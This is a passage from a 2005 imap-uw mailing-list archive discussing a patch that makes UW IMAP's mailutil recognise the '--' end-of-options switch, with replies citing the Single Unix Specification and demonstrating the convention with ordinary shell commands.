https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 13:03:44 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 13:03:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K3ik5029554 for ; Wed, 5 Oct 2005 13:03:44 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K3hTR010547 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 13:03:43 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K3hpu020048; Wed, 5 Oct 2005 13:03:43 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K3hWp028095; Wed, 5 Oct 2005 13:03:43 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K3gWC028086 for ; Wed, 5 Oct 2005 13:03:42 -0700 Received: from rosa.unet.brandeis.edu (rosa.unet.brandeis.edu [129.64.99.167]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K3dYu000415 for ; Wed, 5 Oct 2005 13:03:40 -0700 Received: from diane.unet.brandeis.edu (diane.unet.brandeis.edu [129.64.99.131]) by rosa.unet.brandeis.edu (8.13.1/8.13.1) with ESMTP id j95K3d9b019688 for ; Wed, 5 Oct 2005 16:03:39 -0400 Received: from diane.unet.brandeis.edu (IDENT:61408@localhost.localdomain [127.0.0.1]) by diane.unet.brandeis.edu (8.12.11/8.12.8) with ESMTP id j95K3cF7000401 for ; Wed, 5 Oct 2005 16:03:38 -0400 Received: (from ekendall@localhost) by diane.unet.brandeis.edu (8.12.11/8.12.8/Submit) id j95K3cjK000399 for imap-uw@u.washington.edu; Wed, 5 Oct 2005 16:03:38 -0400 X-Authentication-Warning: diane.unet.brandeis.edu: ekendall set sender to ekendall@brandeis.edu using -f Date: Wed, 5 Oct 2005 16:03:38 -0400 From: Elliot Kendall To: imap-uw@u.washington.edu Message-ID: <20051005200338.GC22298@diane.unet.brandeis.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] mailutil patch: recognize -- switch X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I have some pesky users who begin the names of their mailboxes with -. This patch allows me to use mailutil with those mailboxes by giving the standard UNIX -- switch to indicate that no more switches should be parsed. For example: $ mailutil check -foo unknown switch: -foo $ mailutil check -- -foo No new messages, 0 total in -foo Please let me know if I should be submitting this elsewhere. I couldn't find any mention of a development list or similar. -- Elliot Kendall Systems Administrator Brandeis University _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 13:08:58 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 13:08:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K8wpw029769 for ; Wed, 5 Oct 2005 13:08:58 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K8vCB018601 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 13:08:57 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K8vTw020847; Wed, 5 Oct 2005 13:08:57 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K8ucS029603; Wed, 5 Oct 2005 13:08:56 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K8uYf029595 for ; Wed, 5 Oct 2005 13:08:56 -0700 Received: from rosa.unet.brandeis.edu (rosa.unet.brandeis.edu [129.64.99.167]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95K8tk5027212 for ; Wed, 5 Oct 2005 13:08:55 -0700 Received: from diane.unet.brandeis.edu (diane.unet.brandeis.edu [129.64.99.131]) by rosa.unet.brandeis.edu (8.13.1/8.13.1) with ESMTP id j95K8sVQ023950 for ; Wed, 5 Oct 2005 16:08:55 -0400 Received: from diane.unet.brandeis.edu (IDENT:61408@localhost.localdomain [127.0.0.1]) by diane.unet.brandeis.edu (8.12.11/8.12.8) with ESMTP id j95K8rFm001064 for ; Wed, 5 Oct 2005 16:08:53 -0400 Received: (from ekendall@localhost) by diane.unet.brandeis.edu (8.12.11/8.12.8/Submit) id j95K8rVE001062 for imap-uw@u.washington.edu; Wed, 5 Oct 2005 16:08:53 -0400 X-Authentication-Warning: diane.unet.brandeis.edu: ekendall set sender to ekendall@brandeis.edu using -f Date: Wed, 5 Oct 2005 16:08:53 -0400 From: Elliot Kendall To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] mailutil patch: recognize -- switch Message-ID: <20051005200853.GE22298@diane.unet.brandeis.edu> References: <20051005200338.GC22298@diane.unet.brandeis.edu> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="/9DWx/yDrRhgMJTb" Content-Disposition: inline In-Reply-To: <20051005200338.GC22298@diane.unet.brandeis.edu> User-Agent: Mutt/1.4.1i X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --/9DWx/yDrRhgMJTb Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On 2005-10-05 16:03:38 -0400, Elliot Kendall wrote: > I have some pesky users who begin the names of their mailboxes with -. > This patch allows me to use mailutil with those mailboxes by giving > the standard UNIX -- switch to indicate that no more switches should > be parsed. THIS patch, rather. -- Elliot Kendall Systems Administrator Brandeis University --/9DWx/yDrRhgMJTb Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="mailutil-dashdash.patch" diff -ur imap-2004g.orig/src/mailutil/mailutil.c imap-2004g/src/mailutil/mailutil.c --- imap-2004g.orig/src/mailutil/mailutil.c 2005-07-20 16:52:51.000000000 -0400 +++ imap-2004g/src/mailutil/mailutil.c 2005-07-20 16:59:09.000000000 -0400 @@ -151,14 +151,16 @@ int nargs,i; int merge = NIL; int ret = 1; + int moreswitchesp = T; char *cmd = NIL; char *src = NIL; char *dst = NIL; char *pgm = argc ? argv[0] : "mailutil"; #include "linkage.c" for (nargs = argc ? argc - 1 : 0,args = argv + 1; nargs; args++,nargs--) { - if (*(s = *args) == '-') { /* parse switches */ + if (*(s = *args) == '-' && moreswitchesp) { /* parse switches */ if (!strcmp (s,"-debug") || !strcmp (s,"-d")) debugp = T; + else if (!strcmp (s,"--")) moreswitchesp = NIL; else if (!strcmp (s,"-verbose") || !strcmp (s,"-v")) verbosep = T; else if (!strcmp (s,"-rwcopy") || !strcmp (s,"-rw")) rwcopyp = T; else if ((nargs > 1) && (!strcmp (s,"-merge") || !strcmp (s,"-m"))) { --/9DWx/yDrRhgMJTb Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --/9DWx/yDrRhgMJTb-- From pinedev@shivax2.cac.washington.edu Wed Oct 5 14:11:49 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 14:11:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LBmAc001027 for ; Wed, 5 Oct 2005 14:11:48 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LBl3S023036 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 14:11:48 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LBlGY027671; Wed, 5 Oct 2005 14:11:47 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LBldv012115; Wed, 5 Oct 2005 14:11:47 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LBk4r012106 for ; Wed, 5 Oct 2005 14:11:46 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LBkvj019728 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 5 Oct 2005 14:11:46 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LBjm6000688 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Oct 2005 14:11:45 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LBjGc008843 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 5 Oct 2005 14:11:45 -0700 Date: Wed, 5 Oct 2005 14:13:08 -0700 (Pacific Daylight Time) From: Mark Crispin To: Elliot Kendall Subject: Re: [Imap-uw] mailutil patch: recognize -- switch In-Reply-To: <20051005200338.GC22298@diane.unet.brandeis.edu> Message-ID: References: <20051005200338.GC22298@diane.unet.brandeis.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi Elliot - Thank you very much for this suggested patch. For my information, is the "--" any sort of convention, or was it ad-hoc on your part? I find it difficult to believe that this is the first time that this has ever come up, and I'm hoping that you can point to other applications that do this as well. For what it's worth, I generally use something like ~/-foo, although that can have problems if your site sets mailsubdir. So I'm inclined to adopt your proposed patch. Another possibility is to have a -source and -destination switch that takes a following argument (regardless of "-") so, e.g., you could say something like mailutil check -source -foo as opposed to your patch of mailutil -- check -foo I don't know which is clearer/more conventional. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 14:20:21 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 14:20:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LKL4u001447 for ; Wed, 5 Oct 2005 14:20:21 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LKKQ6023597 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 14:20:20 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LKKPL029091; Wed, 5 Oct 2005 14:20:20 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LKKr6014858; Wed, 5 Oct 2005 14:20:20 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LKIjJ014849 for ; Wed, 5 Oct 2005 14:20:18 -0700 Received: from rosa.unet.brandeis.edu (rosa.unet.brandeis.edu [129.64.99.167]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LKHXJ014749 for ; Wed, 5 Oct 2005 14:20:17 -0700 Received: from diane.unet.brandeis.edu (diane.unet.brandeis.edu [129.64.99.131]) by rosa.unet.brandeis.edu (8.13.1/8.13.1) with ESMTP id j95LKF2N015413; Wed, 5 Oct 2005 17:20:15 -0400 Received: from diane.unet.brandeis.edu (IDENT:61408@localhost.localdomain [127.0.0.1]) by diane.unet.brandeis.edu (8.12.11/8.12.8) with ESMTP id j95LKFU5009927; Wed, 5 Oct 2005 17:20:15 -0400 Received: (from ekendall@localhost) by diane.unet.brandeis.edu (8.12.11/8.12.8/Submit) id j95LKEH3009925; Wed, 5 Oct 2005 17:20:14 -0400 X-Authentication-Warning: diane.unet.brandeis.edu: ekendall set sender to ekendall@brandeis.edu using -f Date: Wed, 5 Oct 2005 17:20:14 -0400 From: Elliot Kendall To: Mark Crispin Subject: Re: [Imap-uw] mailutil patch: recognize -- switch Message-ID: <20051005212014.GQ9184@diane.unet.brandeis.edu> References: <20051005200338.GC22298@diane.unet.brandeis.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On 2005-10-05 14:13:08 -0700, Mark Crispin wrote: > For my information, is the "--" any sort of convention, or was it ad-hoc > on your part? I find it difficult to believe that this is the first time > that this has ever come up, and I'm hoping that you can point to other > applications that do this as well. I believe all GNU tools support the "--" switch. For instance: $ file -- -foo -foo: MBX mail folder > For what it's worth, I generally use something like ~/-foo, although that > can have problems if your site sets mailsubdir. So I'm inclined to adopt > your proposed patch. I tend to have problems getting mailutil to use real path names, but that's probably just laziness on my part. > Another possibility is to have a -source and -destination switch that > takes a following argument (regardless of "-") so, e.g., you could say > something like > mailutil check -source -foo > as opposed to your patch of > mailutil -- check -foo > > I don't know which is clearer/more conventional. I would say my version, but probably I'm biased. -- Elliot Kendall Systems Administrator Brandeis University _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 14:28:56 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 14:28:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LSuBe001864 for ; Wed, 5 Oct 2005 14:28:56 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LStDT024145 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 14:28:55 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LStwS029843; Wed, 5 Oct 2005 14:28:55 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LStCS016452; Wed, 5 Oct 2005 14:28:55 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LSsN9016444 for ; Wed, 5 Oct 2005 14:28:54 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LSrSm021707 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 5 Oct 2005 14:28:53 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LSqL5012388 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Oct 2005 14:28:53 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95LSqTM013644 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 5 Oct 2005 14:28:52 -0700 Date: Wed, 5 Oct 2005 14:30:16 -0700 (Pacific Daylight Time) From: Mark Crispin To: Elliot Kendall Subject: Re: [Imap-uw] mailutil patch: recognize -- switch In-Reply-To: <20051005212014.GQ9184@diane.unet.brandeis.edu> Message-ID: References: <20051005200338.GC22298@diane.unet.brandeis.edu> <20051005212014.GQ9184@diane.unet.brandeis.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 5 Oct 2005, Elliot Kendall wrote: > I believe all GNU tools support the "--" switch. >> I don't know which is clearer/more conventional. > I would say my version, but probably I'm biased. That's good enough for me. I'll adopt your patch. Thanks again! -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 16:08:27 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 16:08:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95N8Qq2008114 for ; Wed, 5 Oct 2005 16:08:26 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95N8PNS022343 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 16:08:26 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95N8Pb2013585; Wed, 5 Oct 2005 16:08:25 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95N8PWA019110; Wed, 5 Oct 2005 16:08:25 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95N8Otb019093 for ; Wed, 5 Oct 2005 16:08:24 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95N8NEQ030403 for ; Wed, 5 Oct 2005 16:08:24 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id j95N8N6413342 for ; Wed, 5 Oct 2005 18:08:23 -0500 (CDT) Date: Wed, 5 Oct 2005 18:08:23 -0500 (CDT) From: Tim Mooney To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] mailutil patch: recognize -- switch In-Reply-To: Message-ID: References: <20051005200338.GC22298@diane.unet.brandeis.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In regard to: Re: [Imap-uw] mailutil patch: recognize -- switch, Mark...: > Hi Elliot - > > Thank you very much for this suggested patch. > > For my information, is the "--" any sort of convention, It's actually specified by the XCU portion of the Single Unix Specification (SUS). I'm not sure when it was mandated, but it's definitely part of SUSv3 (UNIX98). Any command that takes command line arguments and is SUS-compliant is required to take `--' to mean "end of option arguments, hereafter are non-option arguments". If you're willing to register with the Open Group, you can download the entire SUS http://www.unix.org/single_unix_specification/ > or was it ad-hoc on your part? I find it difficult to believe that this > is the first time that this has ever come up, and I'm hoping that you > can point to other applications > that do this as well. Every command that takes command line arguments on most modern UNIX systems should do this, e.g. $cd /tmp/foo $touch -t foo bar touch: bad conversion $touch -- -t foo bar $ls -t -t bar foo $ls -- -t -t $rm -t rm: illegal option -- t usage: rm [-efirR] file ... $rm -- -t This is with the vendor commands on Tru64 5.1b, which is UNIX98 compliant. The same would be true for recent Solaris and other commercial UNIX platforms. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Oct 5 16:14:53 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Oct 2005 16:14:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95NErq9008554 for ; Wed, 5 Oct 2005 16:14:53 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95NEqln022715 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Oct 2005 16:14:52 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95NEqGF014409; Wed, 5 Oct 2005 16:14:52 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95NEqpA020561; Wed, 5 Oct 2005 16:14:52 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95NEpVp020552 for ; Wed, 5 Oct 2005 16:14:51 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95NEod0018907 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 5 Oct 2005 16:14:51 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95NEnpc019649 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Oct 2005 16:14:50 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j95NEnhJ002574 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 5 Oct 2005 16:14:49 -0700 Date: Wed, 5 Oct 2005 16:16:13 -0700 (Pacific Daylight Time) From: Mark Crispin To: Tim Mooney Subject: Re: [Imap-uw] mailutil patch: recognize -- switch In-Reply-To: Message-ID: References: <20051005200338.GC22298@diane.unet.brandeis.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 5 Oct 2005, Tim Mooney wrote: > It's actually specified by the XCU portion of the Single Unix > Specification (SUS). I'm not sure when it was mandated, but it's > definitely part of SUSv3 (UNIX98). Any command that takes command line > arguments and is SUS-compliant is required to take `--' to mean "end of > option arguments, hereafter are non-option arguments". Thank you, and everybody else who has pointed this out. I appreciate the information, and as a 